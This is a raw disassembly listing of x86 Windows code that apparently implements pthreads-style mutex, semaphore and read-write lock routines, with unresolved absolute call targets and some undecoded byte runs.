loc_432940:				; CODE XREF: ___:004019D8j
		push	esi
		mov	esi, [esp+8]
		push	esi
		call	sub_4012B7
		add	esp, 4
		test	eax, eax
		jnz	short loc_432965
		mov	eax, [esp+0Ch]
		test	eax, eax
		jz	short loc_432965
		mov	ecx, [esi]
		pop	esi
		mov	edx, [ecx+14h]
		mov	[eax], edx
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------


loc_432965:				; CODE XREF: ___:00432950j
					; ___:00432958j
		mov	eax, 16h
		pop	esi
		retn
; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_432980	proc near		; CODE XREF: sub_401050j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	esi
		mov	esi, [esp+4+arg_0]
		push	0
		push	esi
		call	sub_401758
		add	esp, 8
		test	eax, eax
		jnz	short loc_4329C5
		mov	eax, [esp+4+arg_4]
		test	eax, eax
		jl	short loc_4329C0
		cmp	eax, 2
		jg	short loc_4329C0
		test	eax, eax
		jz	short loc_4329AC
		mov	eax, 30h
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_4329AC:				; CODE XREF: sub_432980+23j
		mov	eax, [esp+4+arg_8]
		mov	ecx, [eax]
		push	ecx
		push	0
		push	esi
		call	sub_4020B3
		add	esp, 0Ch
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_4329C0:				; CODE XREF: sub_432980+1Aj
					; sub_432980+1Fj
		mov	eax, 16h


loc_4329C5:				; CODE XREF: sub_432980+12j
		pop	esi
		retn
sub_432980	endp

; ---------------------------------------------------------------------------
		db 9 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4329F0	proc near		; CODE XREF: sub_4020B3j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	esi
		mov	esi, [esp+4+arg_8]
		push	edi
		mov	edi, [esp+8+arg_4]
		push	edi
		mov	[esp+0Ch+arg_8], esi
		call	sub_40154B
		add	esp, 4
		cmp	esi, eax
		jl	loc_432A95
		push	edi
		call	sub_401438
		add	esp, 4
		cmp	esi, eax
		jg	short loc_432A95
		cmp	esi, 0FFFFFFF1h
		jle	short loc_432A30
		cmp	esi, 0FFFFFFFEh
		jge	short loc_432A30
		mov	[esp+8+arg_8], 0FFFFFFFEh
		jmp	short loc_432A42
; ---------------------------------------------------------------------------


loc_432A30:				; CODE XREF: sub_4329F0+2Fj
					; sub_4329F0+34j
		cmp	esi, 0Fh
		jge	short loc_432A42
		cmp	esi, 2
		jle	short loc_432A42
		mov	[esp+8+arg_8], 2


loc_432A42:				; CODE XREF: sub_4329F0+3Ej
					; sub_4329F0+43j ...
		mov	edi, [esp+8+arg_0]
		push	ebx
		push	ebp
		lea	ebp, [edi+24h]
		push	ebp
		call	sub_402225
		mov	ebx, eax
		add	esp, 4
		test	ebx, ebx
		jnz	short loc_432A8E
		mov	eax, [esp+10h+arg_8]
		mov	ecx, [edi+4]
		push	eax
		push	ecx
		nop
		call	near ptr 2730839h
		test	eax, eax
		jnz	short loc_432A82
		push	ebp
		mov	ebx, 16h
		call	sub_4010C3
		add	esp, 4
		mov	eax, ebx
		pop	ebp
		pop	ebx
		pop	edi
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_432A82:				; CODE XREF: sub_4329F0+7Bj
		push	ebp
		mov	[edi+28h], esi
		call	sub_4010C3
		add	esp, 4


loc_432A8E:				; CODE XREF: sub_4329F0+68j
		mov	eax, ebx
		pop	ebp
		pop	ebx
		pop	edi
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_432A95:				; CODE XREF: sub_4329F0+19j
					; sub_4329F0+2Aj
		pop	edi
		mov	eax, 16h
		pop	esi
		retn
sub_4329F0	endp

; ---------------------------------------------------------------------------
		db 3 dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_432AD0	proc near		; CODE XREF: sub_40218Fj

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	esi
		mov	esi, [esp+4+arg_0]
		push	0
		push	esi
		call	sub_401758
		add	esp, 8
		test	eax, eax
		jnz	short loc_432B09
		mov	ecx, [esp+4+arg_4]
		cmp	ecx, 2
		jbe	short loc_432B04
		mov	eax, [esp+4+arg_8]
		test	eax, eax
		jz	short loc_432B04
		mov	dword ptr [ecx], 0
		mov	ecx, [esi+28h]
		mov	[eax], ecx
		xor	eax, eax
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_432B04:				; CODE XREF: sub_432AD0+1Bj
					; sub_432AD0+23j
		mov	eax, 16h


loc_432B09:				; CODE XREF: sub_432AD0+12j
		pop	esi
		retn
sub_432AD0	endp

; ---------------------------------------------------------------------------
		db 5 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_432B20	proc near		; CODE XREF: sub_401438j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		test	eax, eax
		jl	short loc_432B33
		cmp	eax, 2
		jg	short loc_432B33
		mov	eax, 0Fh
		retn
; ---------------------------------------------------------------------------


loc_432B33:				; CODE XREF: sub_432B20+6j
					; sub_432B20+Bj
		call	near ptr 77C1F2BCh
		nop
		mov	dword ptr [eax], 16h
		or	eax, 0FFFFFFFFh
		retn
sub_432B20	endp

; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_432B60	proc near		; CODE XREF: sub_40154Bj

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		test	eax, eax
		jl	short loc_432B73
		cmp	eax, 2
		jg	short loc_432B73
		mov	eax, 0FFFFFFF1h
		retn
; ---------------------------------------------------------------------------


loc_432B73:				; CODE XREF: sub_432B60+6j
					; sub_432B60+Bj
		nop
		call	near ptr 77C1F2BCh
		mov	dword ptr [eax], 16h
		or	eax, 0FFFFFFFFh
		retn
sub_432B60	endp

; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_432BA0:				; CODE XREF: ___:00401AC8j
		push	esi
		mov	esi, [esp+8]
		test	esi, esi
		jz	short loc_432BE5
		nop
		call	near ptr 27307ACh
		cmp	esi, eax
		jz	short loc_432BE5
		push	esi
		push	0
		push	200h
		nop
		call	near ptr 2770464h
		test	eax, eax
		jnz	short loc_432BE5
		nop
		call	near ptr 27A08E7h
		mov	esi, eax
		sub	esi, 5
		neg	esi
		sbb	esi, esi
		and	esi, 2
		inc	esi
		nop
		call	near ptr 77C1F2BCh
		mov	[eax], esi
		or	eax, 0FFFFFFFFh
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_432BE5:				; CODE XREF: ___:00432BA7j
					; ___:00432BB1j ...
		mov	eax, [esp+0Ch]
		test	eax, eax
		jz	short loc_432BFE
		call	near ptr 77C1F2BCh
		nop
		mov	dword ptr [eax], 28h
		or	eax, 0FFFFFFFFh
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_432BFE:				; CODE XREF: ___:00432BEBj
		xor	eax, eax
		pop	esi
		retn
; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 20h dup(0CCh)
; ---------------------------------------------------------------------------


loc_432C30:				; CODE XREF: ___:0040150Aj
		push	esi
		mov	esi, [esp+8]
		test	esi, esi
		jz	short loc_432C75
		nop
		call	near ptr 27307ACh
		cmp	esi, eax
		jz	short loc_432C75
		push	esi
		push	0
		push	400h
		nop
		call	near ptr 2770464h
		test	eax, eax
		jnz	short loc_432C75
		call	near ptr 27A08E7h
		nop
		mov	esi, eax
		sub	esi, 5
		neg	esi
		sbb	esi, esi
		and	esi, 2
		inc	esi
		nop
		call	near ptr 77C1F2BCh
		mov	[eax], esi
		or	eax, 0FFFFFFFFh
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_432C75:				; CODE XREF: ___:00432C37j
					; ___:00432C41j ...
		xor	eax, eax
		pop	esi
		retn
; ---------------------------------------------------------------------------
		db 7 dup(90h)
		db 20h dup(0CCh)
; ---------------------------------------------------------------------------


loc_432CA0:				; CODE XREF: ___:00401B4Aj
		push	0
		nop
		call	near ptr 2821EEEh
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------
		db 5 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_432CC0	proc near		; CODE XREF: sub_401C76j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		mov	eax, [esp+arg_4]
		push	esi
		push	edi
		xor	edi, edi
		test	eax, eax
		jz	short loc_432CDF
		mov	edi, 1
		nop
		call	near ptr 77C1F2BCh
		mov	[eax], edi
		pop	edi
		or	eax, 0FFFFFFFFh
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_432CDF:				; CODE XREF: sub_432CC0+Aj
		push	4
		push	1
		nop
		call	near ptr 77C2C0C3h
		mov	esi, eax
		add	esp, 8
		test	esi, esi
		jnz	short loc_432CF7
		mov	edi, 0Ch


loc_432CF7:				; CODE XREF: sub_432CC0+30j
		mov	eax, [esp+8+arg_8]
		push	0
		push	3FFFFFFFh
		push	eax
		push	0
		nop
		call	near ptr 2730000h
		test	eax, eax
		mov	[esi], eax
		jnz	short loc_432D24
		mov	edi, 1Ch
		nop
		call	near ptr 77C1F2BCh
		mov	[eax], edi
		pop	edi
		or	eax, 0FFFFFFFFh
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_432D24:				; CODE XREF: sub_432CC0+4Fj
		test	edi, edi
		jz	short loc_432D36
		call	near ptr 77C1F2BCh
		nop
		mov	[eax], edi
		pop	edi
		or	eax, 0FFFFFFFFh
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_432D36:				; CODE XREF: sub_432CC0+66j
		mov	ecx, [esp+8+arg_0]
		pop	edi
		xor	eax, eax
		mov	[ecx], esi
		pop	esi
		retn
sub_432CC0	endp

; ---------------------------------------------------------------------------
		db 0Fh dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_432D80	proc near		; CODE XREF: sub_401686j

arg_0		= dword	ptr  4

		push	esi
		push	edi
		mov	edi, [esp+8+arg_0]
		test	edi, edi
		jz	short loc_432DA5
		mov	esi, [edi]
		test	esi, esi
		jz	short loc_432DA5
		mov	dword ptr [edi], 0
		mov	eax, [esi]
		push	eax
		nop
		call	near ptr 28308C8h
		test	eax, eax
		jnz	short loc_432DB7
		mov	[edi], esi


loc_432DA5:				; CODE XREF: sub_432D80+8j
					; sub_432D80+Ej
		nop
		call	near ptr 77C1F2BCh
		mov	dword ptr [eax], 16h
		pop	edi
		or	eax, 0FFFFFFFFh
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_432DB7:				; CODE XREF: sub_432D80+21j
		push	esi
		nop
		call	near ptr 77C2C21Bh
		add	esp, 4
		xor	eax, eax
		pop	edi
		pop	esi
		retn
sub_432D80	endp

; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_432DF0	proc near		; CODE XREF: sub_4010A5j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	esi
		test	eax, eax
		jz	short loc_432E23
		mov	eax, [eax]
		test	eax, eax
		jz	short loc_432E23
		mov	eax, [eax]
		push	0
		push	eax
		call	near ptr 2760411h
		nop
		cmp	eax, 102h
		jnz	short loc_432E35
		mov	esi, 0Bh
		nop
		call	near ptr 77C1F2BCh
		mov	[eax], esi
		or	eax, 0FFFFFFFFh
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_432E23:				; CODE XREF: sub_432DF0+7j
					; sub_432DF0+Dj
		mov	esi, 16h
		call	near ptr 77C1F2BCh
		nop
		mov	[eax], esi
		or	eax, 0FFFFFFFFh
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_432E35:				; CODE XREF: sub_432DF0+1Fj
		xor	eax, eax
		pop	esi
		retn
sub_432DF0	endp

; ---------------------------------------------------------------------------
		db 7 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_432E60	proc near		; CODE XREF: sub_401041j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	esi
		test	eax, eax
		jz	short loc_432E8D
		mov	eax, [eax]
		test	eax, eax
		jz	short loc_432E8D
		mov	eax, [eax]
		push	eax
		call	sub_401640
; ---------------------------------------------------------------------------
		db 8Bh
		dd 4C483F0h, 1F74F685h,	7EC437E8h, 30899077h, 5EFFC883h
; ---------------------------------------------------------------------------
		retn
; ---------------------------------------------------------------------------


loc_432E8D:				; CODE XREF: sub_432E60+7j
					; sub_432E60+Dj
		mov	esi, 16h
		nop
		call	near ptr 77C1F2BCh
		mov	[eax], esi
		or	eax, 0FFFFFFFFh
		pop	esi
		retn
sub_432E60	endp

; ---------------------------------------------------------------------------
		xor	eax, eax
		pop	esi
		retn
; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_432ED0	proc near		; CODE XREF: sub_401898j

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		sub	esp, 0Ch
		push	ebp
		mov	ebp, [esp+10h+arg_0]
		test	ebp, ebp
		push	esi
		jnz	short loc_432EF3
		mov	esi, 16h
		nop
		call	near ptr 77C1F2BCh
		mov	[eax], esi
		pop	esi
		or	eax, 0FFFFFFFFh
		pop	ebp
		add	esp, 0Ch
		retn
; ---------------------------------------------------------------------------


loc_432EF3:				; CODE XREF: sub_432ED0+Bj
		push	ebx
		push	edi
		mov	edi, [esp+1Ch+arg_4]
		test	edi, edi
		jnz	short loc_432F02
		or	ebx, 0FFFFFFFFh
		jmp	short loc_432F61
; ---------------------------------------------------------------------------


loc_432F02:				; CODE XREF: sub_432ED0+2Bj
		lea	eax, [esp+1Ch+var_C]
		xor	ebx, ebx
		push	eax
		nop
		call	near ptr 77C49113h
		mov	ecx, [edi]
		mov	esi, [esp+20h+var_C]
		add	esp, 4
		cmp	ecx, esi
		jl	short loc_432F61
		mov	edx, [edi+4]
		mov	eax, 431BDE83h
		add	edx, 7A120h
		mul	edx
		lea	eax, [ecx+ecx*4]
		lea	ecx, [esi+esi*4]
		shr	edx, 12h
		lea	eax, [eax+eax*4]
		lea	ecx, [ecx+ecx*4]
		lea	eax, [eax+eax*4]
		lea	ecx, [ecx+ecx*4]
		shl	ecx, 3
		lea	eax, [edx+eax*8]
		sub	eax, ecx
		mov	ecx, [esp+1Ch+var_8]
		and	ecx, 0FFFFh
		cmp	eax, ecx
		jbe	short loc_432F61
		sub	eax, ecx
		mov	ebx, eax
		cmp	ebx, 0FFFFFFFFh
		jnz	short loc_432F61
		dec	ebx


loc_432F61:				; CODE XREF: sub_432ED0+30j
					; sub_432ED0+4Aj ...
		mov	edx, [ebp+0]
		push	ebx
		mov	eax, [edx]
		push	eax
		call	sub_401D70
sub_432ED0	endp

; ---------------------------------------------------------------------------
		db 83h,	0C4h, 8
		dd 0F685F08Bh, 11745B5Fh, 0C33EE890h, 3089777Eh, 0FFC8835Eh
		dd 0CC4835Dh, 0C0335EC3h, 0CC4835Dh, 909090C3h,	3 dup(90909090h)
		dd 10h dup(0CCCCCCCCh)

; =============== S U B	R O U T	I N E =======================================



sub_432FE0	proc near		; CODE XREF: sub_40103Cj

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		test	eax, eax
		jz	short loc_432FFF
		mov	eax, [eax]
		test	eax, eax
		jz	short loc_432FFF
		mov	eax, [eax]
		push	0
		push	1
		push	eax
		nop
		call	near ptr 2720B7Eh
		test	eax, eax
		jnz	short loc_43300F


loc_432FFF:				; CODE XREF: sub_432FE0+6j
					; sub_432FE0+Cj
		nop
		call	near ptr 77C1F2BCh
		mov	dword ptr [eax], 16h
		or	eax, 0FFFFFFFFh
		retn
; ---------------------------------------------------------------------------


loc_43300F:				; CODE XREF: sub_432FE0+1Dj
		xor	eax, eax
		retn
sub_432FE0	endp

; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_433030	proc near		; CODE XREF: sub_40204Aj

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_0]
		test	eax, eax
		jz	short loc_433056
		mov	eax, [eax]
		test	eax, eax
		jz	short loc_433056
		mov	ecx, [esp+arg_4]
		test	ecx, ecx
		jle	short loc_433056
		mov	eax, [eax]
		push	0
		push	ecx
		push	eax
		call	near ptr 2720B7Eh
		nop
		test	eax, eax
		jnz	short loc_433066


loc_433056:				; CODE XREF: sub_433030+6j
					; sub_433030+Cj ...
		call	near ptr 77C1F2BCh
		nop
		mov	dword ptr [eax], 16h
		or	eax, 0FFFFFFFFh
		retn
; ---------------------------------------------------------------------------


loc_433066:				; CODE XREF: sub_433030+24j
		xor	eax, eax
		retn
sub_433030	endp

; ---------------------------------------------------------------------------
		db 7 dup(90h)
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_433080:				; CODE XREF: ___:00401433j
		mov	eax, [esp+4]
		push	esi
		test	eax, eax
		push	edi
		jz	short loc_4330CD
		mov	esi, [eax]
		test	esi, esi
		jz	short loc_4330CD
		mov	edi, [esp+10h]
		test	edi, edi
		jz	short loc_4330CD
		mov	eax, [esi]
		push	0
		push	eax
		call	near ptr 2760411h
		nop
		cmp	eax, 102h
		jnz	short loc_4330B1
		xor	eax, eax
		mov	[edi], eax
		pop	edi
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_4330B1:				; CODE XREF: ___:004330A8j
		mov	edx, [esi]
		lea	ecx, [esp+0Ch]
		push	ecx
		push	1
		push	edx
		nop
		call	near ptr 2720B7Eh
		mov	eax, [esp+0Ch]
		inc	eax
		mov	[edi], eax
		pop	edi
		xor	eax, eax
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_4330CD:				; CODE XREF: ___:00433088j
					; ___:0043308Ej ...
		nop
		call	near ptr 77C1F2BCh
		mov	dword ptr [eax], 16h
		pop	edi
		or	eax, 0FFFFFFFFh
		pop	esi
		retn
; ---------------------------------------------------------------------------
		db 90h
		db 20h dup(0CCh)
; ---------------------------------------------------------------------------


loc_433100:				; CODE XREF: ___:0040220Cj
		nop
		call	near ptr 77C1F2BCh
		mov	dword ptr [eax], 28h
		or	eax, 0FFFFFFFFh
		retn
; ---------------------------------------------------------------------------
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_433120:				; CODE XREF: ___:00402013j
		nop
		call	near ptr 77C1F2BCh
		mov	dword ptr [eax], 28h
		or	eax, 0FFFFFFFFh
		retn
; ---------------------------------------------------------------------------
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_433140:				; CODE XREF: ___:00401CB2j
		nop
		call	near ptr 77C1F2BCh
		mov	dword ptr [eax], 28h
		or	eax, 0FFFFFFFFh
		retn
; ---------------------------------------------------------------------------
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_433160	proc near		; CODE XREF: sub_401992j

arg_0		= dword	ptr  4

		push	esi
		push	offset dword_50E980
		xor	esi, esi
		call	near ptr 7C901005h
		nop
		mov	ecx, [esp+4+arg_0]
		mov	eax, [ecx]
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_433194
		push	esi
		push	ecx
		call	sub_4021EE
		add	esp, 8
		mov	esi, eax
		push	offset dword_50E980
		nop
		call	near ptr 7C9010EDh
		mov	eax, esi
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_433194:				; CODE XREF: sub_433160+17j
		test	eax, eax
		jnz	short loc_43319D
		mov	esi, 16h


loc_43319D:				; CODE XREF: sub_433160+36j
		push	offset dword_50E980
		call	near ptr 7C9010EDh
		nop
		mov	eax, esi
		pop	esi
		retn
sub_433160	endp

; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4331D0	proc near		; CODE XREF: sub_4021EEj

var_4		= dword	ptr -4
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	ecx
		push	ebx
		push	ebp
		mov	ebp, [esp+0Ch+arg_0]
		push	esi
		push	edi
		xor	edi, edi
		cmp	ebp, edi
		mov	[esp+14h+var_4], edi
		jnz	short loc_4331EE
		pop	edi
		pop	esi
		pop	ebp
		mov	eax, 16h
		pop	ebx
		pop	ecx
		retn
; ---------------------------------------------------------------------------


loc_4331EE:				; CODE XREF: sub_4331D0+11j
		lea	eax, [esp+14h+var_4]
		push	eax
		call	sub_401C26
		mov	ebx, [esp+18h+arg_4]
		add	esp, 4
		test	eax, eax
		jz	short loc_433229
		mov	[esp+14h+var_4], 1


loc_43320B:				; CODE XREF: sub_4331D0+5Ej
					; sub_4331D0+63j
		push	8
		push	1
		call	near ptr 77C2C0C3h
		nop
		mov	esi, eax
		add	esp, 8
		test	esi, esi
		jnz	short loc_433240
		pop	edi
		pop	esi
		pop	ebp
		mov	eax, 0Ch
		pop	ebx
		pop	ecx
		retn
; ---------------------------------------------------------------------------


loc_433229:				; CODE XREF: sub_4331D0+31j
		cmp	[esp+14h+var_4], 1
		jle	short loc_43320B
		cmp	ebx, 1
		jnz	short loc_43320B
		pop	edi
		pop	esi
		pop	ebp
		mov	eax, 28h
		pop	ebx
		pop	ecx
		retn
; ---------------------------------------------------------------------------


loc_433240:				; CODE XREF: sub_4331D0+4Cj
		mov	eax, [esp+14h+var_4]
		cmp	eax, 1
		jle	short loc_43325D
		mov	[esi+4], eax
		mov	dword ptr [esi], 1
		mov	eax, edi
		mov	[ebp+0], esi
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		pop	ecx
		retn
; ---------------------------------------------------------------------------


loc_43325D:				; CODE XREF: sub_4331D0+77j
		lea	ecx, [esp+14h+arg_0]
		push	ecx
		call	sub_401A0F
		mov	edi, eax
		add	esp, 4
		test	edi, edi
		jnz	short loc_433293
		mov	edx, [esp+14h+arg_0]
		lea	eax, [esp+14h+arg_0]
		lea	ecx, [esi+4]
		push	eax
		push	ecx
		mov	[edx], ebx
		call	sub_402199
		mov	edi, eax
		add	esp, 8
		test	edi, edi
		jnz	short loc_433293
		mov	dword ptr [esi], 3


loc_433293:				; CODE XREF: sub_4331D0+9Ej
					; sub_4331D0+BBj
		lea	edx, [esp+14h+arg_0]
		push	edx
		call	sub_4010AA
		add	esp, 4
		test	edi, edi
		jnz	short loc_4332AF
		mov	eax, edi
		mov	[ebp+0], esi
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		pop	ecx
		retn
; ---------------------------------------------------------------------------


loc_4332AF:				; CODE XREF: sub_4331D0+D2j
		push	esi
		call	near ptr 77C2C21Bh
		nop
		add	esp, 4
		mov	eax, edi
		mov	dword ptr [ebp+0], 0
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		pop	ecx
		retn
sub_4331D0	endp

; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 40h dup(0CCh)
; ---------------------------------------------------------------------------


loc_433310:				; CODE XREF: ___:00401109j
		push	ebx
		push	esi
		push	edi
		mov	edi, [esp+10h]
		xor	ebx, ebx
		test	edi, edi
		jz	loc_4333B5
		mov	esi, [edi]
		test	esi, esi
		jz	loc_4333B5
		cmp	esi, 0FFFFFFFFh
		jz	short loc_433378
		cmp	dword ptr [esi], 3
		jnz	short loc_43335D
		lea	eax, [esi+4]
		push	eax
		call	sub_40222F
		mov	ebx, eax
		add	esp, 4
		test	ebx, ebx
		jnz	short loc_4333AF


loc_433347:				; CODE XREF: ___:0043336Bj
		push	esi
		mov	dword ptr [edi], 0
		nop
		call	near ptr 77C2C21Bh
		add	esp, 4
		mov	eax, ebx
		pop	edi
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_43335D:				; CODE XREF: ___:00433333j
		push	1
		push	0
		push	esi
		call	dword_50E3FC	; InterlockedCompareExchange
		cmp	eax, 1
		jz	short loc_433347
		mov	ebx, 16h
		pop	edi
		mov	eax, ebx
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_433378:				; CODE XREF: ___:0043332Ej
		push	offset dword_50E980
		call	near ptr 7C901005h
		nop
		cmp	dword ptr [edi], 0FFFFFFFFh
		jnz	short loc_43339F
		push	offset dword_50E980
		mov	dword ptr [edi], 0
		nop
		call	near ptr 7C9010EDh
		pop	edi
		mov	eax, ebx
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_43339F:				; CODE XREF: ___:00433386j
		push	offset dword_50E980
		mov	ebx, 10h
		nop
		call	near ptr 7C9010EDh


loc_4333AF:				; CODE XREF: ___:00433345j
		pop	edi
		mov	eax, ebx
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_4333B5:				; CODE XREF: ___:0043331Bj
					; ___:00433325j
		pop	edi
		pop	esi
		mov	eax, 16h
		pop	ebx
		retn
; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 30h dup(0CCh)
; ---------------------------------------------------------------------------


loc_4333F0:				; CODE XREF: ___:004021C1j
		push	esi
		mov	esi, [esp+8]
		test	esi, esi
		jz	short loc_433451
		mov	eax, [esi]
		test	eax, eax
		jz	short loc_433451
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_433411
		push	esi
		call	sub_401992
		add	esp, 4
		test	eax, eax
		jnz	short loc_433456


loc_433411:				; CODE XREF: ___:00433402j
		mov	esi, [esi]
		push	1
		push	2
		push	esi
		call	dword_50E3FC	; InterlockedCompareExchange
		cmp	eax, 2
		jnz	short loc_433433


loc_433423:				; CODE XREF: ___:00433431j
		push	1
		push	2
		push	esi
		call	dword_50E3FC	; InterlockedCompareExchange
		cmp	eax, 2
		jz	short loc_433423


loc_433433:				; CODE XREF: ___:00433421j
		mov	eax, [esi]
		cmp	eax, 2
		jnz	short loc_43343E
		xor	eax, eax
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_43343E:				; CODE XREF: ___:00433438j
		cmp	eax, 3
		jnz	short loc_433451
		add	esi, 4
		push	esi
		call	sub_402225
		add	esp, 4
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_433451:				; CODE XREF: ___:004333F7j
					; ___:004333FDj ...
		mov	eax, 16h


loc_433456:				; CODE XREF: ___:0043340Fj
		pop	esi
		retn
; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 20h dup(0CCh)
; ---------------------------------------------------------------------------


loc_433480:				; CODE XREF: ___:00401AA5j
		mov	eax, [esp+4]
		push	esi
		test	eax, eax
		jz	short loc_4334C1
		mov	esi, [eax]
		test	esi, esi
		jz	short loc_4334C1
		cmp	esi, 0FFFFFFFFh
		jnz	short loc_43349B


loc_433494:				; CODE XREF: ___:004334A7j
		mov	eax, 1
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_43349B:				; CODE XREF: ___:00433492j
		push	2
		push	1
		push	esi
		call	dword_50E3FC	; InterlockedCompareExchange
		dec	eax
		jz	short loc_433494
		dec	eax
		jz	short loc_4334BD
		dec	eax
		jnz	short loc_4334C1
		add	esi, 4
		push	esi
		call	sub_4010C3
		add	esp, 4
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_4334BD:				; CODE XREF: ___:004334AAj
		xor	eax, eax
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_4334C1:				; CODE XREF: ___:00433487j
					; ___:0043348Dj ...
		mov	eax, 16h
		pop	esi
		retn
; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 20h dup(0CCh)
; ---------------------------------------------------------------------------


loc_4334F0:				; CODE XREF: ___:00401933j
		push	esi
		mov	esi, [esp+8]
		test	esi, esi
		jz	short loc_433540
		mov	eax, [esi]
		test	eax, eax
		jz	short loc_433540
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_433511
		push	esi
		call	sub_401992
		add	esp, 4
		test	eax, eax
		jnz	short loc_433545


loc_433511:				; CODE XREF: ___:00433502j
		mov	esi, [esi]
		push	1
		push	2
		push	esi
		call	dword_50E3FC	; InterlockedCompareExchange
		dec	eax
		jz	short loc_43353C
		dec	eax
		jz	short loc_433535
		dec	eax
		jnz	short loc_433540
		add	esi, 4
		push	esi
		call	sub_40177B
		add	esp, 4
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_433535:				; CODE XREF: ___:00433522j
		mov	eax, 10h
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_43353C:				; CODE XREF: ___:0043351Fj
		xor	eax, eax
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_433540:				; CODE XREF: ___:004334F7j
					; ___:004334FDj ...
		mov	eax, 16h


loc_433545:				; CODE XREF: ___:0043350Fj
		pop	esi
		retn
; ---------------------------------------------------------------------------
		db 9 dup(90h)
		db 20h dup(0CCh)
; ---------------------------------------------------------------------------


loc_433570:				; CODE XREF: ___:00401244j
		push	esi
		mov	esi, [esp+8]
		push	0
		push	esi
		call	sub_401758
		add	esp, 8
		test	eax, eax
		jnz	short loc_43359C
		mov	eax, [esi+20h]
		mov	ecx, 1
		cmp	eax, ecx
		jnz	short loc_433597
		mov	eax, 16h
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_433597:				; CODE XREF: ___:0043358Ej
		xor	eax, eax
		mov	[esi+20h], ecx


loc_43359C:				; CODE XREF: ___:00433582j
		pop	esi
		retn
; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4335B0	proc near		; CODE XREF: sub_40175Dj

arg_0		= dword	ptr  4

		push	esi
